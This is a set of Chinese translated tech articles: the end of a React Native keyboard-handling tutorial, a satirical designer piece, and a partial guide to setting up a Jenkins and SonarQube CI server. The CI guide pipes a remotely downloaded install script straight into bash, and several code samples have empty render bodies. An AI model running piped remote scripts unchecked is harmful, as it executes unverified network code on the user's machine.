( ); }; export default Demo; ``` 它的表现如下,虽然不是非常完美,但几乎不需要任何工作量。这在我看来是相当好的。 ![](https://cdn-images-1.medium.com/max/800/1*YrvCTP6RN8zn7r7W1lJtuQ.gif) 需要注意的事,在上个实例代码中的第 30 行,设置了一个高度为 60 的 `View`。我发现 `keyboardAvoidingView` 对最后一个元素不适用,即使是添加了 `padding`/`margin` 属性也不奏效。所以我添加了一个新的元素去 “撑开” 一些像素。 使用这个方法时,顶部的图片会被推出到视图之外。在后面我会告诉你如何解决这个问题。 > 针对 Android 开发者:我发现这种方法是处理这个问题最好,也是唯一的办法。在 `AndroidManifest.xml` 中添加 `android:windowSoftInputMode="adjustResize"`。操作系统将为你解决大部分的问题,KeyboardAvoidingView 会为你解决剩下的问题。参见 [这个](https://gist.github.com/spencercarli/e1b9575c1c8845c2c20b86415dfba3db#file-androidmanifest-xml-L23)。接下的部分可能不适用于你。 ## Keyboard Aware ScrollView 下一种解决办法是使用 [react-native-keyboard-aware-scroll-view](https://github.com/APSL/react-native-keyboard-aware-scroll-view),他会给你很大的冲击。实际上它使用了 `ScrollView` 和 `ListView` 处理所有的事情(取决于你选择的组件),让滑动交互变得更加自然。它另外一个优点是它会自动将屏幕滚动到获得焦点的输入框处,这会带来非常流畅的用户体验。 它的使用方法同样非常简单 —— 只需要替换 [基础代码](https://gist.github.com/spencercarli/8acb7208090f759b0fc2fda3394796f1) 的 `View`。下面是具体代码,我会做一些相关的说明: ``` javascript import React from 'react'; import { View, TextInput, Image } from 'react-native'; import { KeyboardAwareScrollView } from 'react-native-keyboard-aware-scroll-view' import styles from './styles'; import logo from './logo.png'; const Demo = () => { return ( ); ``` 首先你需要设置 `ScrollView` 的 `backgroundColor`(如果你想使用滚动的话)。接下来你需要告诉默认组件在哪里,当你的键盘收起时,界面就会返回到默认的那个位置 —— 如果省略 View 的这个 prop,可能会导致键盘在关闭之后界面依旧停留在顶部。 ![](https://cdn-images-1.medium.com/max/1600/1*WzOzG3P9npDpHpFj896nXA.png) 在设置好 `resetScrollToCoords` 这个 prop 之后你需要设置 `contentContainerStyle` —— 这本质上会替换掉你之前给 `View` 设置的样式。最后一件事是禁止掉从用户产生的滚动交互。这可能并不是完全适合你的 UI 交互(比如对于用户需要编辑很多字段的界面),但是在这里,允许用户滚动没有任何意义,因为并没有其它的内容需要用户来进行滚动操作。 把这些所有的 prop 放到一起就会产生下面的效果,看起来很不错: ![](https://cdn-images-1.medium.com/max/1600/1*M64W128GRs8X2IaBbSv7sA.gif) ## Keyboard Module 这是迄今为止最为手动的方式,但也同时给开发者最大的控制权。你可以使用一些动画库来帮助实现之前看到的那种平滑滚动。 React Native 在官方文档是没有说 Keyboard Module 可以监听从设备上产生的键盘事件。你使用的事件是 `keyboardWillShow` 和 `keyboardWillHide`,来产生一个键盘展开的动画(或者其他信息)。 当 `keyboardWillShow` 事件产生时,需要设置一个动画变量到键盘的最终高度,并使其与键盘弹出滑动时间保持一致。然后你可以用这个动画变量的值在容器的底部设置 `padding`,将所有的内容上移。 我会在后面展示具体代码,先展示一下上面所说的内容会产生的效果: ![](https://cdn-images-1.medium.com/max/800/1*mOhomWU9OwZN8Kieq3Pezw.gif) 这次我将修复 UI 中的那个图片。为此,需要使用动画变量的值来管理图片的高度,你可以在弹出键盘的同时调整图片的高度。下面是具体代码: ``` javascript import React, { Component } from 'react'; import { View, TextInput, Image, Animated, Keyboard } from 'react-native'; import styles, { IMAGE_HEIGHT, IMAGE_HEIGHT_SMALL} from './styles'; import logo from './logo.png'; class Demo extends Component { constructor(props) { super(props); this.keyboardHeight = new Animated.Value(0); this.imageHeight = new Animated.Value(IMAGE_HEIGHT); } componentWillMount () { this.keyboardWillShowSub = Keyboard.addListener('keyboardWillShow', this.keyboardWillShow); this.keyboardWillHideSub = Keyboard.addListener('keyboardWillHide', this.keyboardWillHide); } componentWillUnmount() { this.keyboardWillShowSub.remove(); this.keyboardWillHideSub.remove(); } keyboardWillShow = (event) => { Animated.parallel([ Animated.timing(this.keyboardHeight, { duration: event.duration, toValue: event.endCoordinates.height, }), Animated.timing(this.imageHeight, { duration: event.duration, toValue: IMAGE_HEIGHT_SMALL, }), ]).start(); }; keyboardWillHide = (event) => { Animated.parallel([ Animated.timing(this.keyboardHeight, { duration: event.duration, toValue: 0, }), Animated.timing(this.imageHeight, { duration: event.duration, toValue: IMAGE_HEIGHT, }), ]).start(); }; render() { return ( ); } }; export default Demo; ``` 它确实是一个和其他解决方案不一样的方案。使用 `Animated.View` 和 `Animated.Image` 而非 `View` 和 `Image`,以便可以使用动画变量的值。有趣的部分是 `keyboardWillShow` 和 `keyboardWillHide`,它们会改变动画变量的参数。 这里用两个动画同时并行驱动 UI 的改变。会给你留下下面的印象: ![](https://cdn-images-1.medium.com/max/800/1*Fj87SXCLXlkKsG7aAi_5mg.gif) 虽然写了非常多的代码,但好歹让整个操作看上去非常流畅。你有很大的余地去选择你要做什么,真正的自定义与你所关心内容的互动。 ## Combining Options 如果想提炼一些代码,我倾向于结合几种情况在一起。例如: 通选方案 1 和方案 3,你就只需要关心和图像高度相关的动画。 随着 UI 复杂性的增加,使用下面代码会比方案 3 精简很多: ``` javascript import React, { Component } from 'react'; import { View, TextInput, Image, Animated, Keyboard, KeyboardAvoidingView } from 'react-native'; import styles, { IMAGE_HEIGHT, IMAGE_HEIGHT_SMALL } from './styles'; import logo from './logo.png'; class Demo extends Component { constructor(props) { super(props); this.imageHeight = new Animated.Value(IMAGE_HEIGHT); } componentWillMount () { this.keyboardWillShowSub = Keyboard.addListener('keyboardWillShow', this.keyboardWillShow); this.keyboardWillHideSub = Keyboard.addListener('keyboardWillHide', this.keyboardWillHide); } componentWillUnmount() { this.keyboardWillShowSub.remove(); this.keyboardWillHideSub.remove(); } keyboardWillShow = (event) => { Animated.timing(this.imageHeight, { duration: event.duration, toValue: IMAGE_HEIGHT_SMALL, }).start(); }; keyboardWillHide = (event) => { Animated.timing(this.imageHeight, { duration: event.duration, toValue: IMAGE_HEIGHT, }).start(); }; render() { return ( ); } }; export default Demo; ``` ![](https://cdn-images-1.medium.com/max/800/1*g3clh5FFPJzBWt9egIY2cA.gif) 每种实现都有它的优点和缺点 —— 你必须选择最适合给定用户体验的方案。 ================================================ FILE: TODO/how-to-pretend-youre-a-great-designer.md ================================================ > * 原文地址:[How to pretend you’re a great designer](https://thedesignteam.io/how-to-pretend-youre-a-great-designer-3625de90d79f) > * 原文作者:[Pablo Stanley](https://thedesignteam.io/@pablostanley?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[Changkun Ou](https://github.com/changkun) > * 校对者:[ylq167](https://github.com/ylq167) # 设计师装腔指南 # ## 假装成为行业思想领袖的经验和技巧 ## ![](https://cdn-images-1.medium.com/max/1000/1*8ted6GIeOq2hxnr9cxwtMw.gif) > Gabrielle 将使用「喜悦」来解释全部的设计,直到你的瞳孔爆炸。 ### **使用「喜悦」来分散注意力** ### 不知道如何解释你的过度使用动画、巧妙的抄袭,或者通用**可爱**的图案吗?只需要说它们通常伴随着「喜悦」就够了!谈谈你是如何理解用户的心理的 —— 如何打造一个人们会喜欢的体验。没有人关心你的方案是否功能健全、是否成本高昂,或者是否有数据支撑你的直觉。提醒所有人,你正在与用户建立持久的感情联系。 **_装腔技巧_**: **向所有人展示马斯洛需求层次理论图,并指出最上层的「自我实现」是多么高层次的追求。** ![](https://cdn-images-1.medium.com/max/1000/1*U0hzgnxBdy6UWp-9mJsIOQ.gif) Toby 是一本活脱脱的百科全书. ### 使用行业术语来迷惑他们 ### 不要在意你的工作是否让事情变得容易理解。使用短语像「**整体分析**」或「**品牌故事**」亦或其他让人即使摸不着头脑也不敢问是什么意思的行业术语。你使用的流行语越多,你就越不需要解释你的实际设计思路。 如果一个利益相关人士询问你的设计理由,只要告诉他们诸如「这种设计以社会为导向,以品牌价值为指导,围绕其特性所建立,从而通过共鸣和情感设计来吸引用户」之类的话就可以了,哪怕你只是在设计一个优惠券的输入框。 ![](https://cdn-images-1.medium.com/max/1000/1*QsVGLGmSStDhlhNY_LKM9w.gif) Fran 建议:首先,要保持一致! ### 使用一致性作为你的唯一指导原则 ### 忽略情景 —— 一致性更重要!也许你的用户已经熟悉了 iOS、Android 或 Web 模式,但这些模式与你的设计风格是不一样的。你必须保持设计的一致,即便是需要增加用户学习成本 —— 但他们必须查看你独特且复杂的下拉菜单。 如果你的产品经理想要一个最适合移动端的设计,只需要说你正在努力让所有平台的设计保持一致。开发者难道不能让所有元素都做到响应式吗?保持一致性可以让你不用考虑特定场景下的不同解决方案 —— 你只用从所有的东西里复制粘贴就算是完成一天的工作了! ![](https://cdn-images-1.medium.com/max/1000/1*hm7Fr-D0-u4Rav6Og-hmLA.gif) Paul 理解美学。 ### **美学优于功能** ### 忘记用实际有用的工作流程来解决问题。显然,你只需要复制所有在 Dribbble 上看到那些华而不实的效果,并将其运用到你的设计之中。没有人关心调查显示的单个图标效率很低且很难被记住,以及库存的图片根本没有价值这些结论。所有的利益相关者都会因为那些具有弹性动画、像苹果一样的大量留白,和左对齐的瑞士主义设计风格一样感到震惊,没有人会怀疑它能否奏效。 ![](https://cdn-images-1.medium.com/max/1000/1*BVWmKNOrZ5uVQs9YU2Hw-Q.gif) Gabrielle 用她的魔力将其他产品的解决方案变成了自己的! ### **学习(照搬)最佳实践** ### 不知道如何解决问题?只需要复制亚马逊、苹果或者 Facebook 的解决方案,并运用自己的风格即可。当有人质疑你时,只要说 **「亚马逊就是这么干的」**。这将教会他们将问题保留到下一次再提问!如果它适用于亚马逊,它肯定适合你,对吧?因为根本没有人在乎你搞的是不是一个电商产品。 ![](https://cdn-images-1.medium.com/max/1000/1*_rH6r2v-eKIY9doQOz86jw.gif) Claude 知道如何制作一个饼状图。 ### **使用调查偏差** ### 你是否必须为你花了一整个星期时间搞出来的设计辩护?只需用你进行过的调查或测试中精心挑选的数据创建一个花哨的图表就可以了。数字越大,你的解释就会让人们的印象越深刻! 假如有人要求查看你的方法或来源或想要查看原始数据,只需告诉他们你们的对话应该结束了,然后在这个月剩下的时间里躲避他们就好。 **_装腔技巧_:** **如果你有能力,做一个假的幻灯片,让大家接受你的结论。 比如,「我们的登录页的跳出率与 Pokemon Go 的下载量相关,因此我们应该将增强现实添加到我们的页面」。** ![](https://cdn-images-1.medium.com/max/1000/1*mgeKX-DlW-obHhFUGBB6xA.gif) Fran 在沉默中看着她的工作。 ### **让人们觉得你很忙** ### 没有什么比满墙贴满他人的作品更能给路人留下深刻印象的了。打印其他产品的截屏,这叫「竞品分析」;把所有的 Pinterest 上有才华的设计都放上去,这叫「灵感来源」;把所有你探索过的糟糕的迭代过程做成拼图放在一起,这叫「想法形成」。始终追求数量,而不是质量。不管是有意义还是没意义的,钉上在墙后都是有意义的。重要的是要让人们相信你有一个有创造力且忙碌的头脑。 **_装腔技巧_:** **默默地盯着墙看几个小时,你的同事会认为你在沉思。如果你 [在你的眼皮上画上眼睛](https://www.youtube.com/watch?v=U6qBnykH0DU) ,还能打会盹儿。** ![](https://cdn-images-1.medium.com/max/1000/1*gB-SyYrl3WXBYDW2Up7lWQ.gif) Petunia 马上就要成为一个伟大的设计师了! ### **使用模棱两可的视觉表现** ### 大家都会画韦恩图,但他们能用完美的等边三角形来做吗? 你可以使用双重 ▲▲ 甚至三重 ▲▲▲ 三角形图来打动你的同事。这不仅会让每个人都同意你偷换的概念,还会让他们觉得你你具有创造性思维,并用简单的方式解释复杂的想法。 **_装腔技巧_:** **总是将「价值」写在图标相交的区域里!** ![](https://cdn-images-1.medium.com/max/1000/1*VImvvTlomv4aX8E_UbUlUQ.gif) Paul 知道如何创建一个量身定做的产品。 ### **扭曲用户中心设计** ### 如果你不用「用户中心设计」(HCD),那么你不够现代。当我们谈论「用」时,我们实际在谈论「讨论它」而已。让每个人都知道他们需要如何理解用户的需求和能力。如何建立共鸣对创造有意义的产品至关重要。如果没有用户中心设计,谁还会在意其他事情是否已经成功地设计好了呢?不用在意这个方法是否适合你,更不用在意如果把产品定制为某种特定的人群是否会疏远他人。如果你忽略了他们的建议,这并不重要。用你是多么地「**关心**」用户来打动大家就可以了。 ![](https://cdn-images-1.medium.com/max/1000/1*J0AFQkt36gUyNqjaFm3lIw.gif) Paul 确实了解他的主要用户。 ### **专注你独占的市场** ### 好吧,他们信任你的那套「用户中心设计」了,现在他们想要一个无障碍设计怎么办?不要担心,你只需要指出,对网站进行无障碍需要花很长时间和很多钱。然后假设你的目标市场有着最先进的计算机和互联网连接,而且用户都是健康、甚至都没有见过医生的 00 后就可以了。你怎么知道的?因为你是他们中的一员!你自己就是用户! 而且,老实说,无障碍设计可能让你永远没法在页面上添加的那些炫酷动画了。 > 文本标签?太丑了! > 高对比度组合?很糟糕! > 清晰的导航?毫无意义! 不用担心那些为了能获得更多受众而进行的无障碍设计、可用性提升,或者是让网站变得 SEO 友好。你只需要使用视差滚动效果和一台具有精细的低对比度调色板的雷电接口的显示器就足够了。 ### 严肃的说 ### 而上面所有这些「技巧」都是不靠谱的,它们其实展示了我自己曾经犯过的错误。可以这么说,这些只是我们所做的一切事情的副作用。我们正在不断尝试不同的事物,看看什么是有效的、什么是不适应不断变化的用户的需求和技术。从表面上看,一切都是可以理解的,但我必须承认,我有时不知道我所做的事情是否正确。 不知道你是否有这样的感觉:当所有人都意识到你是一个骗子的时候,你是否会感到害怕吗?你是否曾今假装自己能做到?我最近听说这叫「骗子综合症」。我从来没有像搬到旧金山之后感受如此强烈。当我开始在一家创业公司工作时,我发现我需要学习很多东西。我感到不安,且失去了利用我的个人魅力来获得别人认可的能力。所以我觉得我的设计工作还做得不够好。 无论如何,我相信情况正在好转。或者至少我已经变得更加善于伪装了。 **设计团队** - [thedesignteam.io](http://thedesignteam.io) 上的漫画每周二更新。 - 我是 [Pablo Stanley](https://twitter.com/pablostanley) 。点击 [订阅](http://eepurl.com/cbWwtz) 可以收到我的「垃圾邮件」。我教授一门 [设计课程](https://www.youtube.com/c/sketchtogethertv),同时我还在一家名为 [Carbon Health](https://carbonhealth.com/) 的医疗保健创业公司工作。 - 感谢 [Courtney M. Sawyer](https://medium.com/@courtneymsawyer) , [Michael Lorton](https://medium.com/@michaellorton) , [Edgar chaparro](https://medium.com/@Echaparro), 和 [Frances Tung](https://medium.com/@francestung) 的全部支持。 > [Read Previous: The Design Process](https://thedesignteam.io/the-design-process-67df3e8ec68f#.lv47slyvv) > [Another cool one: From a Product Perspective](https://thedesignteam.io/from-a-product-perspective-2f5185a43827) > [The First One: The Onboard-a-Buddy](https://medium.com/the-design-team/the-onboard-a-buddy-71169e460f04#.iru2t3tub) - 感谢 Edgar Chaparro, Michael Lorton 以及 Courtney Sawyer. --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/how-to-set-up-a-continuous-integration-server-for-android-development-ubuntu-jenkins-sonarqube.md ================================================ > * 原文地址:[How to set up a Continuous Integration server for Android development (Ubuntu + Jenkins + SonarQube)](https://pamartinezandres.com/how-to-set-up-a-continuous-integration-server-for-android-development-ubuntu-jenkins-sonarqube-43c1ed6b08d3#.sylq0wmfq) * 原文作者:[Pablo A. Martínez](https://pamartinezandres.com/@pamartineza?source=post_header_lockup) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[skyar2009](https://github.com/skyar2009) * 校对者:[jifaxu](https://github.com/jifaxu), [tanglie1993](https://github.com/tanglie1993) # 如何搭建安卓开发持续化集成环境(Ubuntu + Jenkins + SonarQube) # 我最近换了一台新的 MacBook Pro 作为我的 Android 开发机。旧的 Mac BookPro (13英寸,2011款,16GB 内存,500G SSD,i5 内核 2.4GHz,64位)我并没有卖掉或丢掉,而是装了 MacOS-Ubuntu 双系统作为持续化集成环境服务器。 本文目标是总结安装步骤,以便广大开发者朋友和我自己将来在搭建自己的 CI 时参考,主要内容如下: - 在全新的 Ubuntu 环境下安装 Android SDK。 - 搭建 Jenkins CI 服务,在其基础上从 GitHub 上获取代码、编译一个多模块的 Android 项目,并对其进行测试。 - 安装 Docker 容器,并在其上安装 MySQL 服务和 SonarQube,以实现 Jenkins 触发的静态代码分析。 - Android App 配置需求。 ### 第 1 步 —— 安装 Ubuntu: ### 我之所以选择 Ubuntu 作为 CI 的操作系统,是因为它有着强大的社区,方便对可能遇到的问题寻求帮助,我个人建议使用最新的 LTS 版本,目前是 16.04 LTS。因为有许多 Ubuntu 安装教程(虚拟机和真机),所以这里我只提供下载链接。 [安装 Ubuntu 16.04 LTS 桌面版](https://www.ubuntu.com/download/desktop) 你可能会对我选择桌面版而不是选择服务器版而感到疑惑,这只是个人的偏好,我并不介意因为有界面交互而带来的性能和可用内存的少量损失,因为我认为 GUI 对提高工作效率的帮助大过消耗。 ### 第 2 步 —— 远程访问管理: ### #### **SSH服务:** #### Ubuntu 桌面版默认并没有安装 ssh 服务,因此如果需要远程管理你的服务器还需要手动安装,安装命令如下: ``` $ sudo apt-get install openssh-server ``` #### **NoMachine 远程桌面:** #### 可能你的 CI 没在你眼前而是在你的路由器附近、别的屋子甚至几公里外的地方。我使用过多种远程桌面程序,IMHO NOMachine 是最好的一款,它平台无关并且仅仅需要你的 ssh 凭证。(当然 CI 服务器和你的本机都需要进行安装) [**NoMachine - 对任何人都免费**](https://www.nomachine.com/download) ### 第 3 步 —— 环境配置 ### 下面我将安装 Jenkins pull 代码、编译运行 android 项目所依赖工具,包括 JAVA8,Git,和 Android SDK。 #### **SDKMAN!:** #### SDKMAN! 是一个非常酷的命令行工具,它支持主流的 SDK(例如:Gradle, Groovy, Grails, Kotlin, Scala 等),它可以提供可用列表供我们选择并可以方便地在不同版本之间进行切换。 [**SDKMAN! 软件开发工具管理器**](http://sdkman.io/) SDKMAN! 最近支持了 JAVA8,所以我选择使用它而不是主流的 webupd8 库来安装 JAVA 环境,当对你而言用不用 SDKMAN! 都可以,不过我认为将来你一定会用。 安装 SDKMAN! 只需要执行下面的命令: ``` $ curl -s "https://get.sdkman.io" | bash ``` #### Oracle JAVA8: #### 如果前面已经安装了 SDKMAN! ,安装 JAVA8 只需要简单的执行下面的命令: ``` $ sdk install java ``` 或者使用 webupd8 库进行安装: [**Ubuntu 或 Linux Mint 通过 PPA 库安装 Java 8 [JDK8]**](http://www.webupd8.org/2012/09/install-oracle-java-8-in-ubuntu-via-ppa.html) #### **Git:** #### 安装 git 非常简单,不需要多说: ``` $ sudo apt install git ``` #### **Android SDK:** #### 在本页的底部: [**下载 Android Studio 和 SDK 工具 | Android Studio**](https://developer.android.com/studio/index.html) 你可以看到 “**Get just the command line tools**”,复制像下面的链接: [https://dl.google.com/android/repository/tools_r25.2.3-linux.zip](https://dl.google.com/android/repository/tools_r25.2.3-linux.zip) 然后下载并解压到 /opt/android-sdk-linux ``` $ cd /opt $ sudo wget [https://dl.google.com/android/repository/tools_r25.2.3-linux.zip](https://dl.google.com/android/repository/tools_r25.2.3-linux.zip) $ sudo unzip tools_r25.2.3-linux.zip -d android-sdk-linux ``` 因为我们是使用 root 用户创建的目录,我们需要修改目录权限允许主用户对其读和写: ``` $ sudo chown -R YOUR_USERNAME:YOUR_USERNAME android-sdk-linux/ ``` 接下来修改 /.bashrc 来配置 SDK 环境变量: ``` $ cd $ nano .bashrc ``` 在文件的底部(SDKMAN! 配置之前)添加如下内容: ``` export ANDROID_HOME="/opt/android-sdk-linux" export PATH="$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools:$PATH" ``` 关掉终端并重新打开一个,以确认环境变量配置正确(译者注:不关闭,执行 source ~/.bashrc 也可以) ``` $ echo $ANDROID_HOME /opt/android-sdk-linux ``` 接着打开 Android SDK Manager 的窗口程序,安装你需要的平台版本以及依赖 ``` $ android ``` Android SDK Manager 界面 ### 第 4 步 —— Jenkins 服务: ### 接下来我将描述 Jenkins 的安装与配置,并创建一个 Jenkins 任务来拉取 Android 项目代码并对其进行编译和测试,以及查看控制台输出。 #### Jenkins 安装: #### Jenkins 可以从官网获得: [**Jenkins**](https://jenkins.io/) 有多方式可以运行 **Jenkins**,例如运行一个 **.war** 文件,作为一个 linux **服务**, 作为一个 Docker **容器** 等。 我的第一反应是使用 Docker 容器的方式安装,但我发现那简直是个噩梦,因为我需要配置代码目录、android-sdk 目录的可见性,以及运行 Android 测试的物理可插拔设备 USB 的可见性。 为了方便使用,我最终选择将它作为服务使用,通过 **apt** 来安装、更新稳定的版本 ``` $ wget -q -O - [https://pkg.jenkins.io/debian-stable/jenkins.io.key](https://pkg.jenkins.io/debian-stable/jenkins.io.key)| sudo apt-key add - ``` 修改 sources.list 文件 ``` $ sudo nano /etc/apt/sources.list ``` 添加如下内容 ``` #Jenkin Stable deb https://pkg.jenkins.io/debian-stable binary/ ``` 然后安装 ``` sudo apt-get update sudo apt-get install jenkins ``` 将 *jenkins* 用户添加到你的用户组,确保其对 Android SDK 目录有读写权限 ``` $ sudo usermod -a -G YOUR_USERNAME jenkins ``` Jenkins 服务会在开机的时候自启动,可以通过 [http://localhost:8080](http://localhost:8080) 进行访问 为了安全起见,刚刚装完显示的是如下的页面,只需要跟着说明就可以完成 Jenkins 的启动了。 解锁成功安装的 Jenkins 服务 #### Jenkins 配置: #### Jenkins 解锁后需要安装插件,点击 “**Select plugins to Install**” 浏览、选择如下建议的插件,然后进行安装 - JUnit [**JUnit Plugin - Jenkins - Jenkins Wiki**](https://wiki.jenkins-ci.org/display/JENKINS/JUnit+Plugin) - JaCoCo [**JaCoCo Plugin - Jenkins - Jenkins Wiki**](https://wiki.jenkins-ci.org/display/JENKINS/JaCoCo+Plugin) - EnvInject [**EnvInject Plugin - Jenkins - Jenkins Wiki**](https://wiki.jenkins-ci.org/display/JENKINS/EnvInject+Plugin) - GitHub plugins [**GitHub Plugin - Jenkins - Jenkins Wiki**](https://wiki.jenkins-ci.org/display/JENKINS/GitHub+Plugin) 安装 Jenkins 插件 创建 admin 完成安装。 在配置完成之前,我们还要配置 ANDROID_HOME 和 JAVA_HOME: 点击进入 Manage Jenkins > Configure 页面 滚动到 **Global properties** 部分,勾选 **Environment variables** 选项,将 *ANDROID_HOME* 和 *JAVA_HOME* 填好 添加全局的环境变量 #### **创建 “Jenkins 任务”** #### Jenkins 任务由一系列连续执行的步骤组成。我在 GitHub 上准备了一个 “Hello Jenkins” 的 Android 工程,如果你是跟着本教程做的,你可以用来测试你的Jenkins配置。这只是一个简单的多模块 app,包括单元测试、Android 测试 以及 JaCoCo 和 SonarQube 插件。 [**pamartineza/helloJenkins**](https://github.com/pamartineza/helloJenkins) 首先新建一个 **自由风格工程项目** 并取个名字例如 “**Hello_Android**” (Jenkins 任务名不要有空格,避免将来与 SonarQube 的兼容性问题) 创建自由风格的 Jenkins 任务 下面让我们一起进行配置,我会对每个部分截图 **General:** 该部分和我们最终的目标关系不大,在这你可以修改任务名,添加描述,如果使用的是 GitHub 项目可以添加项目的 URL,(不要带 *.git, 这个 url 项目的 url 不是 repo) 项目 Url 配置 **源代码管理:** 这里我们需要选择 Git 作为 CVS 选项,并且填写代码库地址(需要包含 *.git)并选择要获取的分支。这是一个公开的 GitHub 仓库,因此不需要添加凭证,否则需要填写你的用户名和密码。 我建议你重新创建一个只有你私有仓库只读权限 GitHub 账户 供你的 Jenkins 使用,而不是直接使用你的真实 GitHub 账户。 此外如果你开启了双重身份验证 Jenkins 将不能获取代码,这时为 Jenkins 单独创建账户是能够正常获取私有仓库代码的方法。 仓库配置 **构建触发器:** 构建可以被以下方式触发:手动的、远程的、周期性的、另一个任务构建、检测到变更时等等。 理想的最好的情景是,当新的变更推送到仓库是触发构建,GitHub 提供了一个叫 Webhooks的系统 [**Webhooks | GitHub Developer Guide**](https://developer.github.com/webhooks/) 我们可以配置 Webhooks 发送事件到 CI 服务触发构建,但是这需要我们的 CI 服务器对 GitHub 在线并可以通过 GitHub 访问。 可能处于安全考虑你的 CI 是放在私有网络里的,这时唯一的解决方案就是周期性的查询 GitHub。就我个人而言,我一工作就会打开 CI,在下面的截图中我配置的是每 15 分钟查询一次 GitHub。查询的频次与 **CRON** 语法一样,如果你对其不熟悉,可以点击右面的帮助按钮获得帮助文档。 任务配置 **构建环境:** 我推荐配置构建的 **stuck** 超时时间,避免 Jenkins 当意外错误发生时阻塞占用内存和 CPU。这里也可以配置环境变量和账号密码等。 错误构建超时 **构建:** 这里是最神奇的地方!添加一个 **构建步骤** 选择 **执行 Gradle 脚本** 选择 Gradle Wrapper (Android 项目默认情况下都包含 Gradle Wrapper,不要忘记将其添加到 Git)并且配置需要执行的任务: 1. **clean:** 删除所有之前构建产生的输出,确保本次构建没有任何缓存。 2. **assembleDebug:** 生成 debug .apk 3. **test:** 对所有模块执行单元测试 4. **connectedDebugAndroidTest:** 在连接到 CI 的真机上执行 Android 测试。(通过安装 Android Emulator Jenkins 插件也可以在 Android 模拟器上运行 Android 测试,但是并不支持所有版本的模拟器,并且配置非常琐碎) Gradle 任务配置 **构建后操作** 这部分我们添加 **发布 JUnit 测试结果报告**,本步骤由 JUnit 插件提供,收集 JUnit 测试产生的 .XML 报告,并生成测试结果图表报告。 该部分对 debug 包来说测试结果的路径是: **app/build/test-results/debug/*.xml** 在多模块工程中,“纯” Java 模块的测试结果路径是: **/build/test-results/*.xml** 同时添加 **Record JaCoCo coverage report** 以生成展示代码变更进程的图标 #### 运行 Jenkins 任务 #### 如果有新的任务推送到仓库,上面的任务会每个 15 分钟运行一次;如果不想等下次自动运行而是想立即看到修改,也可以手动触发。点击 **立即构建** 之后当前的构建会出现在 **构建历史** 中,点击它可以查看详情。 手动执行任务 最有趣的部分是控制台输出,可以看到 Jenkins 是如何获取代码并且如何执行前面配置的 Gradle 任务(例如 **clean.**)。 控制台输出的开头 如果所有任务都成功执行控制台输出会如下图(仓库连接错误、单元测试问题或者 Android 测试问题都会导致构建失败) 构建成功和测试结果收集 ### 第 5 步 —— SonarQube ### 这部分我将介绍使用 Docker 容器安装配置 SonarQube 和它的伴侣 MySQL数据库。 [**Continuous Code Quality | SonarQube**](https://www.sonarqube.org/) SonarQube 是一个静态代码分析工具,它可以帮助开发者编写干净的代码、发现 bug、学习好的经验,并且可以跟踪代码覆盖、测试结果、技术债务等。所有 SonarQube 检测到的问题都可以导入到安装了插件的 Android Studio/IntelliJ 中,并修复。 [**JetBrains Plugin Repository :: SonarQube Community Plugin**](https://plugins.jetbrains.com/idea/plugin/7238-sonarqube-community-plugin) #### 安装 Docker: #### 按照 Docker 官方文档进行安装非常的简单: [**Install Docker on Ubuntu**](https://docs.docker.com/engine/installation/linux/ubuntulinux/) [**在 Ubuntu 上安装 Docker**](https://docs.docker.com/engine/installation/linux/ubuntulinux/) #### 创建容器: #### **MySQL:** 下面我们创建 MySQL 5.7.17 叫做 **mysqlserver** 的服务容器,配置如下:自启动、安装到你自己的目录下、配置密码、以及端口 3306 *( YOUR_USER 和 YOUR_MYSQL_PASSWORD 用真实值替换)* ``` $ docker run --name mysqlserver --restart=always -v /home/YOUR_USER/mysqlVolume:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=YOUR_MYSQL_PASSWORD -p 3306:3306 -d mysql:5.7.17 ``` **phpMyAdmin:** 我使用 phpMyAdmin 管理 MySQL 服务,当然最简单的方法就是创建一个叫做 **phpmyadmin** 的容器关联到 **mysqlserver**,配置如下:自启动、端口 9090、使用最新的版本 ``` $ docker run --name phpmyadmin --restart=always --link mysqlserver:db -p 9090:80 -d phpmyadmin/phpmyadmin ``` 通过访问 localhost:**9090** 使用 phpMyAdmin, 使用 **root** 账户登录,并创建 **sonar** 数据库,字符集设为 **utf8_general_ci**。新建一个 **sonar** 用户并授权 **sonar** 数据库的全部权限 **SonarQube:** 下面我们开始创建 SonarQube 容器,取名 **sonarqube** 配置如下:自启动、关联到刚刚配置的 db,端口 9000,使用 5.6.4(LTS)版。 ``` $ docker run --name sonarqube --restart=always --link mysqlserver:db -p 9000:9000 -p 9092:9092 -e "SONARQUBE_JDBC_URL=jdbc:mysql://db:3306/sonar?useUnicode=true&characterEncoding=utf8&rewriteBatchedStatements=true&useConfigs=maxPerformance" -e "SONARQUBE_JDBC_USER=sonar" -e "SONARQUBE_JDBC_PASSWORD=YOUR_SONAR_PASSWORD" -d sonarqube:5.6.4 ``` #### SonarQube 配置: #### 如果一切 OK,访问 localhost:9000 将会看到下图: 下面安装必要的插件和 Quality Profiles 1. 右上角登录(默认的管理员账号是 admin/admin) 2. 点击 Administration > System > Update Center > **Updates Only** - 如果需要请更新 **Java** 插件 3. 切换到 **Available** 并安装如下插件: - **Android** (提供 Android lint 规则) - **Checkstyle** - **Findbugs** - **XML** 4. 回到顶部,点击重启完成安装 #### SonarQube 配置: #### 我们已经安装的插件定义了一系列用来评估代码质量的规则。 一个项目只能应用一个配置,但是我们为一个配置指定父配置来继承它,所以我们可以新建一个自定义配置将所有配置串起来,来评价项目。 点击 Quality Profiles > Create 并取个名字(例如 **CustomAndroidProfile**) 添加 Android Lint 作为父配置,然后切换到 **Android Lint** 并将 **FindBugs Security Minimal** 设为父配置,继续设置直到将所有配置串联起来,最后将 **CustomAndroidProfile** 设为默认配置 继承链 #### 运行 SonarQube 分析: #### 现在 SonarQube 已经配置好,接下来只需要添加 